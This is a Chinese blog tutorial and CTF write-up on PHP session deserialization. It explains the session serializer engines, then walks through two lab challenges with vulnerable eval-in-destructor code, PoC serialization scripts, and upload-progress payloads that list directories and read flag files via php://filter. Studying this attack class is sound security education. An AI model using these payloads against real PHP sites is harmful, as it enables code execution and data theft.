session反序列化

train-5922321_1920

session反序列化

PHP session基础

什么是session?

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

php session的工作流程

(1) 开始会话时,php会尝试从请求中查找会话id。若发现请求信息中不存在session idphp就会自动调用php_session_create_id函数创建一个新的会话,并且在响应头中使用set-cookie头部发送给客户端保存;

(2) php会将会话中的数据设置到$_SESSION变量中;

(3) 当会话停止时,会自动读取$_SESSION中的内容,并将其进行序列化,发送到保存管理器进行保存。

具体工作流程图如下:

session在php.ini中的配置

  • session.gc_divisor

    php session垃圾回收机制相关配置

  • session.sid_bits_per_character

    指定编码的会话ID字符中的位数

  • session.save_path=””

    该配置主要设置session的存储路径

  • session.save_handler=””

    该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

  • session.use_strict_mode

    严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

  • session.use_cookies

    指定是否在客户端用 cookie 来存放会话 ID,默认启用

  • session.cookie_secure

    指定是否仅通过安全连接发送 cookie,默认关闭

  • session.use_only_cookies

    指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

  • session.name

    指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

  • session.auto_start

    指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

  • session.cookie_lifetime

    指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0

  • session.cookie_path

    指定要设置会话cookie 的路径,默认为 /

  • session.cookie_domain

    指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名

  • session.cookie_httponly

    将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

  • session.serialize_handler

    定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

  • session.gc_probability

    该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率

  • session.gc_divisor

    该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率

  • session.gc_maxlifetime

    指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probabilitysession.gc_divisor

  • session.referer_check

    包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

  • session.cache_limiter

    指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache

  • session.cache_expire

    以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180

  • session.use_trans_sid

    指定是否启用透明 SID 支持。默认禁用

  • session.sid_length

    配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。

  • session.trans_sid_tags

    指定启用透明sid支持时重写哪些HTML标签以包括会话ID

  • session.trans_sid_hosts

    指定启用透明sid支持时重写的主机,以包括会话ID

  • session.sid_bits_per_character

    配置编码的会话ID字符中的位数

  • session.upload_progress.enabled

    启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。

  • session.upload_progress.cleanup

    读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

  • session.upload_progress.prefix

    配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_

  • session.upload_progress.name

    $ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS

  • session.upload_progress.freq

    定义应该多长时间更新一次上传进度信息

  • session.upload_progress.min_freq

    更新之间的最小延迟

  • session.lazy_write

    配置会话数据在更改时是否被重写,默认启用

session存储机制

(1) 由session.serialize_handler来定义引擎;

(2) 默认以文件的方式存储;

(3) 文件命名方式以sess_sessionid;

(4) 文件内容是一序列化的方式进行存储;

php的三种引擎

session.serialize_handler定义了三种引擎:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用php_serialize

php处理器

代码实例

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
// php | php_binary | php_serialize
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($_SESSION);
?>

请求后保存的session文件内容的结果为:

1
2
session|s:9:"greetdawn";
# 格式:键名 + | + 序列化后的参数值

php_binary处理器

代码实例

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
// php | php_binary | php_serialize
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['passwdpasswdpasswdpasswdpasswdpassw'] = $_GET['session'];
var_dump($_SESSION);
?>

请求后保存的session文件内容的结果为:

1
2
#passwdpasswdpasswdpasswdpasswdpassws:9:"greetdawn";
#为键名长度对应的ascii值,passwdpasswdpasswdpasswdpasswdpassws为键名,后面为get参数序列化之后的值

php_serialize处理器

代码实例

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
// php | php_binary | php_serialize
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['passwd'] = $_GET['session'];
var_dump($_SESSION);
?>

请求后保存的session文件内容的结果为:

1
2
a:1:{s:6:"passwd";s:9:"greetdawn";}
#标准化的序列化字符串格式

php session反序化漏洞

漏洞概念

PHP session反序列化漏洞,简单点说,就是当网站序列化并存储Session与反序列化并读取Session的方式不同时就可能导致session反序列化漏洞的产生。

漏洞demo(session_demo)

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if (isset($_GET["name"])) {
$_SESSION["name"] = $_GET["name"];
highlight_file('demo.php');
} else {
echo "Please tell me You name?";
highlight_file(__FILE__);
}
?>

demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;

function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}

漏洞分析

我们发现index.php通过php_serialize引擎处理session数据,demo.php通过php引擎处理session数据;

通过前面的知识我们知道php_serialize引擎以正常的反序列化格式存储和加载session数据,php以|的方式存储和加载session数据的;

分析demo的源码,对lemon类进行实例化,得到其序列化的值为:O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}

请求index.php带入序列化的值,http://192.168.1.191:32769/?name=|O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}

最终sess文件的保存数据格式如下:

a:1:{s:4:"name";s:44:"|O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}";}

当我们再次请求demo.php文件时,此文件会议php处理器的方式加载session文件,此时``a:1:{s:4:”name”;s:44:”|O:5:”为 键名,a:1:{s:4:”name”;s:44:”|O:5:”`为值

那么最后的值就会被正常的进行反序列化,调用eval函数;

例题实战

session_upload

(1) 题目源码

index.php

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();

$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "i.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

?>

phpinfo.php

1
2
3
4
5
6
7
8
<?php
session_start();
require("./class.php");

$f3 = new foo3();
$f3->varr = "phpinfo();";
$f3->execute();
?>

(2) 题目分析

请求phpinfo.php获取session的配置信息如下:

默认是采用php_serialize处理器处理sessionsession.upload_progress.cleanup配置为Off,session.upload_progress.enabled配置为On;

session.upload_progress.enabled当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

分析前面的代码并没有发现可以向服务器发送数据的点,根据前面所讲的特性,我们可以通过上传文件的方式向目标session写入数据。

并且我们发现i.php与phpinfo.php使用的session解析器不相同;

(3) 漏洞利用

分析class.php的源码构造poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
class foo1{
public $varr;
}

class foo2{
public $varr;
public $obj;
}

class foo3{
public $varr;
}

$obj = new foo1();
$obj->varr = new foo2();
$obj->varr->varr = $obj->varr;
$obj->varr->varr->obj = new foo3();
$obj->varr->varr->obj->varr = "include('php://filter/read=convert.base64-encode/resource=flag.php');";
echo serialize($obj);
?>

本地构造上表单文件index.html

1
2
3
4
5
<form action="http://192.168.1.191:32771/index.php" method="POST" enctype="multipart/form-data">     
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

bp截包,修改PHP_SESSION_UPLOAD_PROGRESS的值为class序列化的值

|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";r:2;s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}}}

session_jarvis

(1) 题目源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

phpinfo.php

1
2
3
4
<?php
session_start();
phpinfo();
?>

(2) 题目分析

请求链接发现首页源码,根据源码传入phpinfo任意参数,执行phpinfo(),得到配置信息如下:

根据以上信息发现是典型的利用了上传这个点传入session数据的;

并且通过扫描发现存在phpinfo.php这个页面,请求发现这个页面使用的是默认的php_serialize解析器

根据两页面使用的解析器不同特征,可以达成任意的反序列化利用

(3) 漏洞利用

构造上传表单

1
2
3
4
5
<form action="http://192.168.1.191:32768/index.php" method="POST" enctype="multipart/form-data">     
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

构造目录文件扫描序列化代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = "print_r(scandir(dirname(__FILE__)));";
}
}
$obj = new OowoO();
echo serialize($obj);
//
?>
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

抓取上传包,修改filename带入序列化的值

构造读取flag序列化代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = "include(\"php://filter/read=convert.base64-encode/resource=MDZZ_you_see_The_FlAg.php\");";
}
}
$obj = new OowoO();
echo serialize($obj);
//
?>
O:5:"OowoO":1:{s:4:"mdzz";s:86:"include("php://filter/read=convert.base64-encode/resource=MDZZ_you_see_The_FlAg.php");";}

获得flag

作者

丨greetdawn丨

发布于

2019-05-16

更新于

2022-04-01

许可协议

评论